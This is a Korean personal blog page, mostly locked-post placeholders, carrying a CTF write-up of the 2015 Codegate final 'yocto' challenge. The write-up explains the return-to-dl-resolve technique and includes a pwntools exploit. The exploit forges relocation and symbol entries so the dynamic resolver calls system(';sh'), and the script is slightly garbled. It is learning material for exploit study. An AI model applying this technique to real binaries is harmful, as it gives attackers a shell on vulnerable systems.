HanJeouk의 개인공부 블로그

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

확인

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

확인

문제를 실행시켰을 때 이런 오류가 뜨면 

sudo apt-get install libssl1.0.0:i386

이 명령어를 실행하자


해결된다~

'etc' 카테고리의 다른 글

문제 아이디어  (0) 2018.04.10
남은 것들  (0) 2018.03.12
끄으적  (0) 2018.02.19

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

확인

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

확인

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

확인

2015 Codegate final yocto

CTF2018. 5. 9. 18:06

Return_to_dl_resolve 기법을 공부하면서 풀어본 문제다. 

이 기법은 파일이 dynamic link 방식을 사용할 때만 사용가능하다.

우선 보호기법을 체크하자.

NX빼고 없다! 

이제 분석을 하러가자.

glob이라는 전역변수에 입력을 받고 atoi 함수를 이용해서 정수로 바꾼다.

그리고 strchr 함수를 이욯해서 '.' 문자 뒤에 있는 값을 저장하고 JUMPOUT으로 그 값으로 점프한다.

.111.0xabcdef  이렇게 값을 넣으면 스택에 111이랑 값을 문자열이 있는주소(glob)가 들어간다.

이렇게 값을 넣으면 스택에 값이 들어가면서 원래 esp에 있던 값이 변조된다.

이걸 이용해서 reloc_offset을 조작할 수 있다. reloc 말고도 다른 오프셋들도 다 조작해야한다.

기법 자체는 이해가 잘됐는데 문제를 풀며 오프셋을 맞추는 과정에서 엄청 오래 걸렸다 ;;;;.

그래서 오프셋 구하는 법을 익스코드와 같이 올리며 써본다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import*
= process("./yocto")
strtab = 0x80481fc
symtab = 0x804818c
jmprel = 0x8048270
glob = 0x080495c0
rel = p32(0x08049540)+p32(0x14607)
sym = p32(0x1400+p32(0)*2+p32(0x12)
 
payload = '.'+str(0x1374#push glob-jmprel
payload += '.' +str(0x80482a0#jump 
payload += ';sh\x00' #;sh\x00 = ;sh;
payload += 'a'*17
payload += rel
payload += sym
payload += "system"
p.send(payload)
p.interactive()
 

 
#1. glob_elf32_rel-jmprel
#2. (glob_symtab-symtab)/16
#important! (glob_symtab-symtab)/16*16=glob_symtab
#3. glob_system-strtab
 
cs

line 22~25가 설명인데 말로 풀어보자면

JMPREL+reloc_offset을 더하면 특정함수의 elf_32_rel 구조체의 주소인 걸 알 수 있다.

우리는 elf_32_rel 구조체를 glob 영역에다가 쓰고 reloc_offset을 조작하여 JMPREL+fake_reloc_offset을 했을 때 glob에다가 쓴 조작된 elf_32_rel 주소를 가리키게 해야한다.

JMPREL + printf_offset = printf_elf32_rel이라고 하자.

그러면 printf_elf32_rel - JMPREL = printf_offset일 것이다. 이렇게 elf32_rel 주소에다가 JMPREL을 빼면 오프셋을 구할 수 있다. 

이제 실제로 구해보겠다. 

#STRTAB SYMTAB JMPREL 주소는 readelf -a yocto | grep "" 을 이용해서 구할 수 있다.

JMPREL + fake_offset = glob_elf32_rel이고 fake_offset = glob_elf32_rel - JMPREL이다

우리가 만든 glob_elf32_rel의 주소는 

0x80495e4이다. readelf로 구한 JMPREL의 주소는 0x8048270이다.

이제 fake_offset = glob_elf32_rel - JMPREL에 맞춰서 빼면?

이렇게 오프셋을 구했다. 이제 이 값을 reloc_offset으로 넣으면 elf32_rel 구조체의 위치가 glob쪽으로 바뀔 것이다.

이제 elf32_rel의 구조체를 조작해서 SYMTAB의 위치를 조작해야한다. elf32_rel 구조체는 8바이트로 이루어져 있는데 4바이트는 함수의 got, 3바이트는 SYMTAB에서의 인덱스 나머지 1바이트는 타입이다. 우리는 이 3바이트를 조작해야한다. 이 3바이트 즉 SYMTAB에서의 인덱스를 glob이 있는 쪽으로 돌려야 한다. SYMTAB의 구조체는 인덱스 하나당 16바이트다. 아까 했던 것처럼 일단 glob에서 만든 fake_SYMTAB 위치에서 SYMTAB의 주소를 빼자.

내가 만든 전역변수에 있는 fake_SYMTAB의 위치는 0x80495ec이다. 그리고 구한 SYMTAB의 주소는 0x804818c이다. 이제 빼면

0x1360이라고 나온다. 여기서 중요한데 아까 말했듯이 SYMTAB의 구조체는 인덱스 하나당 16바이트라고 했다. 그러면 0x1360을 16으로 나눠야 glob까지의 인덱스의 개수가 나온다. 그리고 더 중요한게 나온다.

0x1360/16을 했을 때 나머지가 없어야 한다. 나머지가 1이라도 있으면 안된다. 익스코드를 보면 a를 17개 넣어줬는데 그게 바로 딱 나눠떨어지는 주소로 설정하기 위해 값을 넣은 것이다.

0x1360/16을 하고 검산하면

똑같다!

이제 마지막으로 SYMTAB 구조체만 설정해주면 된다.

SYMTAB 구조체는 16바이트다. 

[4바이트 4바이트 4바이트 1바이트 1바이트 2바이트] 이렇게 돼 있다.

이 구조체에서 첫번째와 다섯번째가 중요하다.

첫 번째는 함수이름이 있는 주소와 STRTAB을 뺐을 때 나오는 오프셋이다. 여기를 조작해야 한다.

다섯 번째는 &3을 해서 함수가 이전에 호출됐었는지 처음인지 체크한다. 그래서 무조건 이 부분은 0으로 해야한다.

나머지는 0으로 해도 상관없다. glob에 system이라는 문자열을 넣어서 그 주소와 STRTAB 주소를 빼서 오프셋을 구한 다음에 구조체 처음에 넣으면 된다.

system 문자열이 있는 주소는 0x80495fc이다.

이제 STRTAB의 주소와 빼면 오프셋이 구해진다.

오프셋이 구해졌다.

이제 시스템 함수가 호출될 것이다. 근데 인자는 어디다 넣어야 할까? 함수가 호출될 때 바로 뒤에 있는 주소가 인자가 된다고 한다. 그래서 호출하는 부분 뒤에 바로 ;sh\00를 넣어서 쉘을 땄다. ;sh\x00말고 ;sh;로 해도 쉘이 따진다. 




'CTF' 카테고리의 다른 글

2018 Rctf writeup  (1) 2018.05.25
2018 0ctf babystack  (0) 2018.05.25
2018_Asis_CTF Just Sort!  (0) 2018.05.03
2018_Asis_CTF Cat  (0) 2018.05.03
2018 HITB-XCTF d  (0) 2018.04.15

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

확인

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

확인

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

확인